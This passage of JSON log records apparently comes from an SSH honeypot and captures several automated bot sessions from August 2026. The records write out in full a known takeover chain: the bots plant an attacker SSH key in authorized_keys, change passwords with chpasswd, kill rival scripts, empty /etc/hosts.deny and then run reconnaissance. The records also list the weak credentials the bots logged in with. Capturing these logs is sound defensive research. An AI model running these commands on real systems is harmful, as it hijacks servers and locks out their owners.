AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:29:46.411828+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:29:46.412445+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:29:46.765821+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qqEprUOvwu9s\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:29:47.105355+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:29:47.452148+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:29:47.454101+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:29:47.798896+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:29:48.356225+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:29:48.710690+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:29:49.203165+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:29:49.827480+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:29:49.829316+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:29:50.173233+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:29:50.173688+00:00","kind":"output","latency_ms":null,"data":" 11:29:50 up 7 days, 8:19, 0 user, load average: 0.22, 0.26, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:29:50.525338+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:29:50.525958+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:29:50.876010+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:29:50.876445+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:29:51.226910+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:29:51.227438+00:00","kind":"output","latency_ms":null,"data":"top - 11:29:51 up 7 days, 8:19, 0 user, load average: 0.22, 0.26, 0.19\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:29:51.575160+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:29:51.576664+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:29:51.923496+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:29:51.923916+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:29:52.271710+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:29:52.272458+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:29:52.623342+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:29:53.139425+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:29:53.806731+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:29:54.350190+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Yx123456!","method":"password","accepted":true,"tier":"other"}]} {"id":"4112604a-250e-44d3-9f97-5af87a43efea","name":"golden-ivory-coyote","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":45946,"username":"dmp","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:29:39.321131+00:00","ended_at":"2026-08-27T11:29:40.409917+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2206,"events":[{"seq":1,"at":"2026-08-27T11:29:13.364147+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:29:13.628523+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:29:17.399503+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:29:18.943786+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:29:19.203946+00:00","kind":"input","latency_ms":null,"data":"echo -e \"dmp123\\nYrpSFljMjRWN\\nYrpSFljMjRWN\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:29:19.465201+00:00","kind":"input","latency_ms":null,"data":"echo \"dmp123\\nYrpSFljMjRWN\\nYrpSFljMjRWN\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:29:19.722920+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:29:20.105846+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:29:21.216344+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:29:21.622675+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:29:21.886515+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:29:23.670845+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:29:23.937162+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:29:25.435695+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:29:25.696645+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:29:26.505657+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:29:26.767425+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:29:27.816765+00:00","kind":"output","latency_ms":null,"data":" 11:29:27 up 7 days, 8:19, 0 user, load average: 0.23, 0.17, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:29:28.077745+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:29:29.714054+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:29:29.972648+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:29:31.484777+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:29:31.744117+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:29:33.120157+00:00","kind":"output","latency_ms":null,"data":"top - 11:29:33 up 7 days, 8:19, 0 user, load average: 0.23, 0.17, 0.19\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:29:33.379044+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:29:34.223904+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:29:34.484676+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:29:35.648679+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:29:35.908953+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:29:37.490238+00:00","kind":"output","latency_ms":null,"data":"dmp"},{"seq":31,"at":"2026-08-27T11:29:37.752641+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:29:39.059331+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:29:39.323123+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:29:40.334997+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"dmp","password":"dmp123","method":"password","accepted":true,"tier":"other"}]} {"id":"7338cb8b-e99c-4638-9e23-187ab0939eab","name":"northern-granite-heron","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":47946,"username":"yf","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":293,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:28:57.550615+00:00","ended_at":"2026-08-27T11:28:58.161223+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2032,"events":[{"seq":1,"at":"2026-08-27T11:28:47.044669+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:28:47.338300+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:28:51.525785+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:28:51.526286+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:28:51.820156+00:00","kind":"input","latency_ms":null,"data":"echo -e \"yf\\nh5NjuAFGVzdW\\nh5NjuAFGVzdW\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:28:52.114547+00:00","kind":"input","latency_ms":null,"data":"echo \"yf\\nh5NjuAFGVzdW\\nh5NjuAFGVzdW\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:28:52.410151+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:28:52.412199+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:28:52.702079+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:28:53.268178+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:28:53.565596+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:28:54.081130+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:28:54.376497+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:28:54.377192+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:28:54.670571+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:28:54.671045+00:00","kind":"output","latency_ms":null,"data":" 11:28:54 up 7 days, 8:19, 0 user, load average: 0.15, 0.12, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:28:54.964336+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:28:54.965157+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:28:55.260489+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:28:55.261015+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:28:55.557260+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:28:55.557934+00:00","kind":"output","latency_ms":null,"data":"top - 11:28:55 up 7 days, 8:19, 0 user, load average: 0.15, 0.12, 0.11\nTasks: 123 total, 1 running, 122 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:28:55.848802+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:28:55.852034+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:28:56.143828+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:28:56.147175+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:28:56.436147+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:28:56.440081+00:00","kind":"output","latency_ms":null,"data":"yf"},{"seq":29,"at":"2026-08-27T11:28:56.729677+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:28:57.256488+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:28:57.552604+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:28:58.079560+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"yf","password":"yf","method":"password","accepted":true,"tier":"other"}]} {"id":"21e6d30b-88fb-4bb2-b82f-051f6e4f2907","name":"meadow-humble-barbet","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59058,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":458,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:28:52.029580+00:00","ended_at":"2026-08-27T11:28:53.124626+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2238,"events":[{"seq":1,"at":"2026-08-27T11:28:30.532179+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:28:30.979435+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:28:36.134172+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:28:36.575227+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:28:37.035579+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ahjxiq0xozPd\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:28:37.489953+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:28:37.951093+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:28:38.629116+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:28:39.090742+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:28:40.033074+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:28:40.493783+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:28:41.425483+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:28:41.881991+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:28:42.582109+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:28:43.036433+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:28:43.899130+00:00","kind":"output","latency_ms":null,"data":" 11:28:43 up 7 days, 8:18, 0 user, load average: 0.04, 0.04, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:28:44.712007+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:28:45.132141+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:28:45.591081+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:28:46.007336+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:28:46.464506+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:28:47.286883+00:00","kind":"output","latency_ms":null,"data":"top - 11:28:47 up 7 days, 8:18, 0 user, load average: 0.04, 0.04, 0.03\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:28:47.743011+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:28:48.192749+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:28:48.649366+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:28:49.132371+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:28:49.586854+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:28:49.904601+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:28:50.365998+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:28:51.576243+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:28:52.030880+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:28:52.985743+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"5454","method":"password","accepted":true,"tier":"other"}]} {"id":"a705bec3-cd3b-4e7e-8f91-ab00f2b4ef8a","name":"salty-hazy-antelope","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":47314,"username":"suhail","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":762,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:28:11.670538+00:00","ended_at":"2026-08-27T11:28:12.932115+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2174,"events":[{"seq":1,"at":"2026-08-27T11:27:43.975696+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:27:44.738841+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:27:50.691053+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:27:51.453012+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:27:52.212039+00:00","kind":"input","latency_ms":null,"data":"echo -e \"suhail\\nzsBalGUGCVdO\\nzsBalGUGCVdO\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:27:52.975262+00:00","kind":"input","latency_ms":null,"data":"echo \"suhail\\nzsBalGUGCVdO\\nzsBalGUGCVdO\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:27:53.739327+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:27:54.129998+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:27:54.892944+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:27:56.288213+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:27:57.055671+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:27:58.222059+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:27:59.013493+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:27:59.392042+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:28:00.154674+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:28:00.640162+00:00","kind":"output","latency_ms":null,"data":" 11:28:00 up 7 days, 8:18, 0 